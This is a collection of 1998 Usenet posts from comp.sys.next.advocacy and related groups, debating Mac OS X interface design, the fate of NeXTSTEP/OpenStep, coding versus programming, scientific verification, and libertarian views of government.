>Did you know that government confiscates 50% of your income?
>
>How can you countenance that?
>How can I not be oppressed when half of the fruits of my labor are
>extorted away?
>
So you would be oppressed by any democratic government that levied taxes?
(That's not Michael Peck's position, by the way. He thinks he would be
oppressed by a democratic government no matter what they did.)
>Research project for you: Tell me how many people have been killed by
>their governments this century, and how many have been murdered by
>individuals. Paranoia is _irrational_ fear.
So do you keep a 9mm Sig-Sauer in your home too? When are you and MJP gonna get
together and strike a blow for liberty? I mean, maybe you should get them
before they get you. No?
...
If I arranged for a televised press conference to bring together some people who
support Microsoft in their litigation with the Department of Justice, would you
and MJP promise to come and repeat all this stuff about the government? You
could tell it like it is -- antitrust legislation is as oppressive as a sales
tax. Maybe you could bring even your guns, too. MJP could talk about how
liberty is worth fighting, even dying for. And you could point out how many
people have been killed by their own governments, and how paranoia is
_irrational_ fear.
Please?
--
invert: umich.edu jdevlin
insert: shift "2"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 08 Jul 1998 04:20:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6nus1s$goj$1@nnrp1.dejanews.com>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net> <6ns60v$dkf$1@news.digifix.com> <joe.ragosta-0707980806470001@wil42.dol.net>
In article <joe.ragosta-0707980806470001@wil42.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> I'm just curious--is that problem inherent in the Mac OS Toolbox or is it
> something that was inherited from past practices? IOW, if it's not an
> intrinsic feature, then the new Carbon APIs might allow it.
In the toolbox right now, you have to manage the scrollbars yourself
regarding placement. Everytime the window gets resized you have to call
MoveControl to move them to their new positions and SizeControl to give them
the correct size.
BTW, you would have to modify more than the behaviour of the existing views to
globally change the behavior of scrollbars in YB. What about people who create
their own views? They would have to be told on which side they should draw
their scrollbars.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 02 Jul 98 15:28:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8F233A0.09B6000C39.uuout@relaynet.org>
On 07/02/98, PULSAR wrote to Michelle L. Buck:
> > Proportional scrollers are better
P> Yes. Mac OS 8.5 will have them. There are already
P> numerous utilities to address this deficiency in the Mac
P> OS.
Yes: SmartScroll has been available as a shareware Control Panel for Macs for
several years now.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Origin: --> Don't anthropomorphize computers. They hate that.
From: David Williams <wingchun@shell5.ba.best.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple in the enterprise
Date: 8 Jul 1998 07:49:40 GMT
Message-ID: <6nv8ak$7vv$2@nntp1.ba.best.com>
References: <6noi5p$2qg$1@news.cmc.net> <1998070601323200.VAA10221@ladder01.news.aol.com> <joe.ragosta-0607982054570001@elk59.dol.net>
User-Agent: tin/pre-1.4-980226 (UNIX) (FreeBSD/2.2.6-STABLE (i386))
Joe Ragosta <joe.ragosta@dol.net> wrote:
: In article <1998070601323200.VAA10221@ladder01.news.aol.com>,
: rosdan@aol.com (Rosdan) wrote:
:> I work for a company that is just now replacing all of its Opentesp Enterprise
:> seats with Windows NT. The Openstep based mission critical application that
:> millions were spent on and careers were built with is now in maintenace
: mode on
:> NT and Windows 95 while we wait for Java to be ready to host a re-write.
:>
:> Openstep is leaving this enterpise (hundreds of seats and millions of dollars
:> per year) because Apple is not interested in the enterprise and they have said
:> themselves that Windows NT is what we want.
:>
: Now that makes a lot of sense. You've proven that WinNT uses a
: never-ending supply of resources. Study after study shows that Apple is
: better. Yet your company has decided that it will never consider Apple.
: THAT is why MS has such a stranglehold on the industry.
Wow. THAT is really missing the point.
It is Steve Jobs abandoning a customer base that is the cause.
Nextstep/openstep/whatever is dead. Orphaned.
This should be no surprise, Jobs has a history of doing this.
It doesn't matter how Tom Swiftian, Jobs' latest techno toy of the moment
is because the ONE thing you can count on is for him to hype it, then
abandon it, then move on. Leaving customers holding the bag.
Objective C is dead. IB is dead. Nextstep is long dead.
You don't build relationships that way...you BURN them.
Thank goodness Apple didn't invent Java, it would be dead in under 4 years.
With Apple/Jobs you get the trust & relationship of a "tail light warrantee".
NextStep for Academics
NextStep for Interpersonal Computing
NextStep for Mission Critical Apps
NextStep for 040
NextStep for 88k (stillborn)
NextStep for PPC (stillborn)
NextStep for SPARC
NextStep for PA-RISC
NextStep for Intel
NextStep for Apple (son of PPC)
All on the fast track to Palookaville.
Ma, I coulda been a contenda!
Way cool stuff, rendered irrelevant by market forces and economies of scale.
Too bad Bill Gates didn't just assimilate Steve and give him a division of
MicroSoft to run. :) That would be fun to watch.
--
David Williams mailto:dlw@wingchun.com
Planet Wing Chun http://www.wingchun.com/
Bay Area Wing Chun Association http://www.thesphere.com/SJWC
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 7 Jul 98 09:59:53
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul7095953@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de>
<6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com>
<6mtgg8$sts$1@nnrp1.dejanews.com>
<SCOTT.98Jun29132022@slave.doubleu.com>
<6n90m7$8b4$2@lwnws01.ne.highway1.com>
<SCOTT.98Jul2225157@slave.doubleu.com>
<6nj0oo$crc$2@lwnws01.ne.highway1.com>
In-reply-to: John Kheit's message of 3 Jul 1998 16:27:04 GMT
In article <6nj0oo$crc$2@lwnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> writes:
scott@doubleu.com (Scott Hess) wrote:
> In article <6n90m7$8b4$2@lwnws01.ne.highway1.com>,
> John Kheit <jkheit@mediaone.net> writes:
> That's interesting. See, you're a problem solver more than
> a programmer. At a certain point programming will become less
> important than the problem solving.
>
> No. NO. __NO__.
>
> I very much expect we'll reach a point in the future where the
> "problem solving" that I do will be the end of it. I'll take the
> problem from a client, specify the problem to a suitable level of
> precision, and the computer will execute that specification
> itself.
I thought that was what I was getting at above.
> "Coding", which is what I think you're referring to, is already a
> relatively small part of most successful projects. IMHO, WRITING
> CODE IS NOT PROGRAMMING. Right now, though, writing code _is_ an
> essential part of programming,
I really thought that was what I was saying above, but perhaps I
wasn't being accurate enough as to the "now" and your current
situation. So if I have it right, correct me if I'm wrong, right
now writing code for you is a significant part of your job. That
act of "manufacturing" still eats up a good percentage of brain
sweat in conjunction with the general and valuable task of problem
definition and solving. If I got that right, then I guess all I'm
saying is once the bar of manufacturing goes down, more people will
be able to participate in the task pf problem definition and
solving because a practitioner will not be required to have as
great a level of sophistication in that aspect of the job.
<kosh>Coding _is_ easy.</kosh>
[In English: automated coding tools will get rid of the _bottom_ of
the curve, not the top. "Anyone" already _can_ code. Not "anyone"
can program. The problem is that people find it so easy to code that
they think it should be easy to program, too.]
[I'm clearly not getting through, here, John. You're working towards
being a lawyer, you should be able to make the connections. (Not
because being a lawyer causes logical thought - because lawyering is
very similar to programming in many ways.)]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X UI suggestion
Date: 8 Jul 1998 11:53:52 +0200
Organization: The Computer Society at Lund
Message-ID: <6nvfjg$pqp$1@bartlet.df.lth.se>
References: <6nt58n$p4h$1@bartlet.df.lth.se> <1998070713215300.JAA00861@ladder01.news.aol.com>
NNTP-Posting-User: cb
In article <1998070713215300.JAA00861@ladder01.news.aol.com>,
WillAdams <willadams@aol.com> wrote:
>I've made this sort of suggestion myself as well.
>
>I suspect that Apple is against it for several reasons:
>
>1. The Mac user experience is the best (in their not so humble opinion) and
>anything which doesn't strengthen/support that concept gets trashed/ignored
I don't really think this is true; they are, after all, making changes to
the interface every now and then. Proportional scrollbars for instance.
>
>2. Support of users--it's bad enough trying to keep track of where Windows
>users have dragged the TaskBar--it would probably be nightmarish trying to
>support a fully configurable UI from a help desk by telephone unless there's
>some established mechanism for normalizing the UI.
Just include a key-combination that switches between ``user's choice UI''
and ``system standard UI'' - that should take care of it.
>
>Regardless, I still believe that garnering the kind of favorable press NeXT did
>in terms of the aesthetics of its interface is important and think that
>additional user configurability would help gain markethshare.
Yes, I agree.
Then again, I personall y want to conduct a few UI experiments on my own
machine in my own home, and would love it if the UI was sufficiently
configurable / replacable for this purpose.
(for instance, I would very much like it if I could replace the Apple Menu
Bar with a menu system of my own, as long as my system offered at least
the same functionality as Apple's Menu Bar. I'm thinking about something
like Pie Menus; but that's another story. Again, I'm not advocating that
Apple make this standard - but configurable, replacable.)
>
>William
>
>
>William Adams
>http://members.aol.com/willadams
>Sphinx of black quartz, judge my vow.
>
// Christian Brunschen
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 8 Jul 1998 11:25:08 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nvkuk$d4m$1@samsara0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nuq9t$bgv@newsb.netnews.att.com> <35A2F139.ADA83D1A@nstar.net> <BACo1.2828$24.16478853@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <BACo1.2828$24.16478853@news.itd.umich.edu> ,
not@my.address.net writes:
>>Of course governments are oppressive.
>>
>>Did you know that government confiscates 50% of your income?
>>
>>How can you countenance that?
>>How can I not be oppressed when half of the fruits of my labor are
>>extorted away?
>>
>
>So you would be oppressed by any democratic government that levied taxes?
>(That's not Michael Peck's position, by the way. He thinks he would be
>oppressed by a democratic government no matter what they did.)
Any government that levied taxes, banned drugs, controlled consentual
behavior, etc. In other words, any government that initiated force
against individuals.
>
>
>>Research project for you: Tell me how many people have been killed by
>>their governments this century, and how many have been murdered by
>>individuals. Paranoia is _irrational_ fear.
>
>So do you keep a 9mm Sig-Sauer in your home too? When are you and MJP gonna get
>together and strike a blow for liberty? I mean, maybe you should get them
>before they get you. No?
I see you are not capable of logical argument, so you resort to insult
and snide behavior.
>
>...
>
>If I arranged for a televised press conference to bring together some people who
>support Microsoft in their litigation with the Department of Justice, would you
>and MJP promise to come and repeat all this stuff about the government? You
>could tell it like it is -- antitrust legislation is as oppressive as a sales
>tax. Maybe you could bring even your guns, too. MJP could talk about how
>liberty is worth fighting, even dying for. And you could point out how many
>people have been killed by their own governments, and how paranoia is
>_irrational_ fear.
>
>Please?
You cannot address my points logically, so you attempt argument by
rudeness and calumny.
BTW, over 100 million people have been killed by their own governments
this century. Far more than have been killed by enemy governments in
war, far more than have been killed by private individuals.
Matthew Cromer
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
References: <359A90F9.A546707D@alum.mit.edu> <6nuq9t$bgv@newsb.netnews.att.com> <35A2F139.ADA83D1A@nstar.net> <BACo1.2828$24.16478853@news.itd.umich.edu> <6nvkuk$d4m$1@samsara0.mindspring.com>
In-Reply-To: <6nvkuk$d4m$1@samsara0.mindspring.com>
From: not@my.address.net
Message-ID: <HkJo1.2897$24.16714280@news.itd.umich.edu>
Date: Wed, 08 Jul 1998 12:10:15 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 08:10:15 EDT
On 07/08/98, Matthew Cromer wrote:
>>
>>>Research project for you: Tell me how many people have been killed by
>>>their governments this century, and how many have been murdered by
>>>individuals. Paranoia is _irrational_ fear.
>>
>>So do you keep a 9mm Sig-Sauer in your home too? When are you and MJP gonna
>>get together and strike a blow for liberty? I mean, maybe you should get them
>>before they get you. No?
>
>I see you are not capable of logical argument
Question stands: If millions have been killed by their own governments this
century, and this is the basis of your rational fear of the government, what
steps are you going to take to protect yourself?
>>
>>If I arranged for a televised press conference to bring together some people
>>who support Microsoft in their litigation with the Department of Justice,
>>would you and MJP promise to come and repeat all this stuff about the
>>government? You could tell it like it is -- antitrust legislation is as
>>oppressive as a sales tax. Maybe you could bring even your guns, too. MJP
>>could talk about how liberty is worth fighting, even dying for. And you could
>>point out how many people have been killed by their own governments, and how
>>paranoia is _irrational_ fear.
>>
>>Please?
>
>You cannot address my points logically, so you attempt argument by
>rudeness and calumny.
That's like saying someone made you look bad by quoting you.
>
>BTW, over 100 million people have been killed by their own governments
>this century. Far more than have been killed by enemy governments in
>war, far more than have been killed by private individuals.
>
How many of those were killed by their own democratic government?
--
invert: umich.edu jdevlin
insert: shift "2"
Date: Wed, 08 Jul 1998 08:12:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0807980812210001@wil61.dol.net>
References: <6mua07$7ps$1@hole.sdsu.edu> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0207980954430001@news> <6nht9l$iio$1@lwnws01.ne.highway1.com> <1998070312530900.IAA28087@ladder03.news.aol.com> <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net> <joe.ragosta-0407980703330001@elk91.dol.net> <1dbncmh.kwwxex1iv1uf4N@hoorn17.multiweb.net> <joe.ragosta-0407981348290001@elk41.dol.net> <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net> <joe.ragosta-0507980745550001@elk36.dol.net> <359fbf31.0@nnrp1.news.uk.psi.net> <joe.ragosta-0507981928190001@elk40.dol.net> <1dbtfoj.1a5qdacxwg6bkN@quern.demon.co.uk>
In article <1dbtfoj.1a5qdacxwg6bkN@quern.demon.co.uk>,
jonathan@quern.demon.co.uk (Jonathan Sanderson) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > So Mac users can't accomplish something in the particular way that you
> > can. Who cares? All I care about is what I can do--not what the
> > programmers need to do to enable me to do it.
>
> Well, sure, at the end of the day it's down to what the user can
> achieve, and how easily they can achieve it.
>
> But if Rhapsody allows programmers to produce basic functionality - like
> fax support - with less hassle than in MacOS, there's a chance they
> might have time to deal with *new* features instead.
>
> Isn't that a good thing?
Absolutely.
That's why I encouraged the conversation to stick to the key
elements--many things are much _easier_ with YB than with conventional
programming tools. (I've seen figures as high as 75% reduction in
programming effort). THAT should be the selling point.
My objection was that I read something as saying that _X_ couldn't be done
with Mac OS at all, when in fact it could. Someone said I misread the post
and that's possible. But my point still stands. The key to YB programming
is how much easier it makes things than current programming tools---not
that it allows you to do things that can't be done (since you can do
almost anything with almost any programming tool if you're willing to put
in enough time).
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 08 Jul 1998 08:14:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0807980814380001@wil61.dol.net>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net> <6ns60v$dkf$1@news.digifix.com> <joe.ragosta-0707980806470001@wil42.dol.net> <6nus1s$goj$1@nnrp1.dejanews.com>
In article <6nus1s$goj$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-0707980806470001@wil42.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > I'm just curious--is that problem inherent in the Mac OS Toolbox or is it
> > something that was inherited from past practices? IOW, if it's not an
> > intrinsic feature, then the new Carbon APIs might allow it.
>
> In the toolbox right now, you have to manage the scrollbars yourself
> regarding placement. Everytime the window gets resized you have to call
> MoveControl to move them to their new positions and SizeControl to give them
> the correct size.
>
> BTW, you would have to modify more than the behaviour of the existing views to
> globally change the behavior of scrollbars in YB. What about people who create
> their own views? They would have to be told on which side they should draw
> their scrollbars.
I got that. But the question is, "could Apple (in a future OS revision)
give you the option for the scroll bars to be on the left or on the right
(user selectable)?" Maury's answer was that this was either impossible or
so huge a task as to be completely impractical.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 8 Jul 1998 06:50:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6nvte9$30a@nntp02.primenet.com>
References: <6nt785$gh3@nntp02.primenet.com> <23526-35A29993-1@newsd-123.bryant.webtv.net>
Joshua Moore <RasAllGhul@webtv.net> wrote:
: John Jensen wrote:
: >I belive that Apple needs to attract
: >technologists for their long-term survival, and
: >to attract technologists Apple needs to offer
: >more than lip service to advanced
: >technologies.
: Apple has more brilliant engineers than you can shake a stick at
: (whatever that means =3D@}).
: They also have a huge stable of advanced technologies planned for the
: release of MacOS X. Things like V-Twin, the Yellow Box development
: enviroment, QuickTime, Speech Recognition, etc. But this ain't the time
: for them to stick their head in the clouds. MacOS X is going to require
: their full attention until its completion. The future of the Mac is the
: future of Apple.
I meant that Apple needs to attract technologists as customers.
I'm afraid your response matches my stereotypes nicely: Apple customers
trust Apple to have all the technology, and Apple engineers want to
believe they have all the technology.
John
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 08 Jul 1998 09:13:40 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A37E94.54F70C06@nstar.net>
References: <6nt785$gh3@nntp02.primenet.com> <23526-35A29993-1@newsd-123.bryant.webtv.net> <6nvte9$30a@nntp02.primenet.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 8 Jul 1998 14:18:21 GMT
John Jensen wrote:
> I meant that Apple needs to attract technologists as customers.
>
> I'm afraid your response matches my stereotypes nicely: Apple customers
> trust Apple to have all the technology, and Apple engineers want to
> believe they have all the technology.
I don't know if that's what it is, but the sickening part of all this is
that you're both talking about good and desirable technologies. It's
just a matter of first things first; if Apple were to sit down and focus
on its meal (John's technologies) first, and save its dessert (Joshua's
technologies) for later, we'd really have something.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: Wed, 08 Jul 1998 09:10:21 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A37DCD.11CFD249@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <6nuq9t$bgv@newsb.netnews.att.com> <35A2F139.ADA83D1A@nstar.net> <BACo1.2828$24.16478853@news.itd.umich.edu> <6nvkuk$d4m$1@samsara0.mindspring.com> <HkJo1.2897$24.16714280@news.itd.umich.edu>
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NNTP-Posting-Date: 8 Jul 1998 14:15:02 GMT
not@my.address.net wrote:
> >You cannot address my points logically, so you attempt argument by
> >rudeness and calumny.
>
> That's like saying someone made you look bad by quoting you.
Heh! No, it's actually like saying you attempt argument by rudeness and
calumny.
> How many of those were killed by their own democratic government?
A considerable number; the Age of Terror in France killed considerable
numbers, as did the democratic South American governments established by
Simon Bolivar and his associates.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 8 Jul 1998 15:15:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o02er$bm2$1@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de> <6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com> <6mtgg8$sts$1@nnrp1.dejanews.com> <SCOTT.98Jun29132022@slave.doubleu.com> <6n90m7$8b4$2@lwnws01.ne.highway1.com> <SCOTT.98Jul2225157@slave.doubleu.com> <6nj0oo$crc$2@lwnws01.ne.highway1.com> <SCOTT.98Jul7095953@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
> <kosh>Coding _is_ easy.</kosh>
Sorry, don't know what "kosh" is.
> [In English: automated coding tools will get rid of the _bottom_ of
> the curve, not the top. "Anyone" already _can_ code. Not "anyone"
> can program. The problem is that people find it so easy to code that
> they think it should be easy to program, too.]
My point is that curve is a moving wave. And from time to time that curve is
going to crash on shore and be broken down for all practical purposes. So
*today* the top of the curve still demands technical expertise in say, making
an operating system kernel. In a 100years we may have tools that allow any
joe to create his or her own kernel. I think I see the distinction you're
making between coding and programming, and do appreciate it. But even today,
for some mundane tasks it really doesn't matter if you put down a college
grad grog coder, or a good programmer down for the task. Sure, no doubt the
programmers resluts will superior. But if the task is not even close to
being critical, then optimality and artfulness in the resulting work is not a
priority, and thus, in a business sense inconsequential.
> [I'm clearly not getting through, here, John. You're working towards
> being a lawyer, you should be able to make the connections. (Not
> because being a lawyer causes logical thought - because lawyering is
> very similar to programming in many ways.)]
Actually, I'm now an attorney (boo, hiss :) and you're right; I think I'm
missing a point you're trying to make. I'm sorry, I'm not being daft on
purpose here, but I'm being daft, I'm sure, nonetheless.
So let me try and summarize my possition, and perhaps then we can localize
either my misunderstanding of what you're getting at, or our difference on
the point.
I think: That technology advances will make many of *today's* difficulties
hurdles with coding & programming go away to varying extents. As these
hurdles are lowered it will allow more (i.e. some, but not all) poeple to
perform tasks that were once the sole responsibility of programmers. As more
and more projects fall outside the exclusive domain of programmers, the
demand for exlusive programmers will diminish. However, I do agree, that
there will probably always be some programmers at the upper echelons of the
technology curve doing really new and tough things (though in diminishing
numbers).
And I think we see this today. In days past, our system admins were usually
programmers as well. Today, a greater portion of them either cannot or do
not program.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Wed, 08 Jul 1998 08:21:36 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0807980821360001@dante.eng.uci.edu>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <35A2B0CB.A93502FC@ericsson.com> <6nupru$bcb@newsb.netnews.att.com>
In article <6nupru$bcb@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>>They do? It takes an extraordinarily small amount of evidence to
>>demonstrate that something exists; one must simply produce the thing.
>>Demonstration of existence must be very weak evidence; indeed, Descartes
>>assumed that he could prove his own existence as a direct consequence of
>>his single assumption: "I think".
>
>Really ? I recall much of the history of science as being the struggle
>to demonstrate the existence of atoms, quarks, electrons, electromagnetic
>radiation, gravitational radiation, black holes, neutron stars, etc., etc.
>Demonstration of existence took or continues to take very hard intellectual
>work and considerable technological and financial resources. You will
>notice that "producing the thing" is possible only in very limited cases.
>Once it is beyond the scope of our five senses, it is hard.
Well, sorta. The history is the struggle to get technology to a point that
we can achieve the requirements of the prediction. Some theoreticist says
that at a given energy level and set of conditions a charm quark _should_
show up with the following properties, blah, blah, blah. The goal of the
experimentalists is to prove the theoretician _wrong_, that the quark
won't show up at the conditions predicted. That the role of the parties.
If the skeptic looks and the quark does in fact show, that's a stronger
statement than if a believer looks and the quark shows (because they might
have seen things that weren't really there). Sometimes the hard part is
getting technology to the point that those initial conditions can be met.
So the experimentalists make up all of this technological ground
(unrelated to the theory, in fact) turn on the machine, and the quark
either is or isn't there. If it isn't there, the theory is wrong, end of
story, we move on. If the quark is there, we encourage someone else to
look for it as well for confirmation and we go back and ask for additional
predictions and repeat the process. The amount of _evidence_ needed to
disprove the theory was incredibly small. The amount of technological
ground to make up to find that evidence might have been large, however.
The theory is _never_ proven correct, however, even after repeated
confirmations and after additional predictions. We simply state that it
holds up to scrutiny, knowing full well that at some point it _will_ fail,
it always does.
But sometimes it is very easy to perform this verification of prediction.
Sometimes it can be astonishingly easy. Some of Einstein's predictions
were incredibly easy to verify. Many of the predictions made in quantum
mechanics were easy to verify.
There is very little effort exerted to prove a theory right - it's just
not possible. The point is to prove it wrong and the evidence needed is
incredibly small to do that.
But all of this stuff is, at some level, outside of the scope of our
senses - that was the big realization that quantum mechanics and
relativity brought about. We have to remind ourselves that physics is
nothing more than a model that makes slightly better predictions every
day, and on good days, much better predictions. Newton's laws held up
wonderfully for centuries, so long in fact that physicists started to
wonder if they'd need to find a new field since they had perfectly
accurate models for all but a few observed phenomena. But then we started
to make observations (black body radiation turned out to be the animal
that opened the floodgates) that didn't fit, and Newton's laws fell. It
approximated reality to a good point, and then fell apart. QM likely will
hold up for a long time since it holds up _extremely_ well in the lab, but
we should expect it to break also.
-Bob Cassidy
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 17:48:04 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o0bck$fc3@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A2B0CB.A93502FC@ericsson.com> <6nupru$bcb@newsb.netnews.att.com> <rmcassid-0807980821360001@dante.eng.uci.edu>
Originator: gupta@tlctest
Robert Cassidy <rmcassid@uci.edu> wrote:
>>Really ? I recall much of the history of science as being the struggle
>>to demonstrate the existence of atoms, quarks, electrons, electromagnetic
>>radiation, gravitational radiation, black holes, neutron stars, etc., etc.
>>Demonstration of existence took or continues to take very hard intellectual
>>work and considerable technological and financial resources. You will
>>notice that "producing the thing" is possible only in very limited cases.
>>Once it is beyond the scope of our five senses, it is hard.
>Well, sorta. The history is the struggle to get technology to a point that
>we can achieve the requirements of the prediction.
> [much deleted]
While what you wrote is essentially correct, I disagree somewhat on
emphasis. People were expecting to find the Ws and the Z; people were
expecting to find the top quark, and people are expecting to find
the Higgs. Likewise, astronomers do point their telescopes and spend
their quota of viewing time at places where they expect to find something,
not necessarily merely to be able to shoot down something.
I don't think it is always the disbelieving experimentalist seeking
to shoot down a prediction; rather it is the skeptical experimentalist
who works very hard to get all bias out of the experiment.
Also, not being able to verify a prediction doesn't always kill the
theory -- supersymmetry is still alive though lacking any experimental
signature; and I think it took several improvements on the original
proton-decay experiments before the first grand-unified theory based
on SU(5) was finally ruled out.
-arun
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 17:46:27 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o0b9j$nij$1@news.spacelab.net>
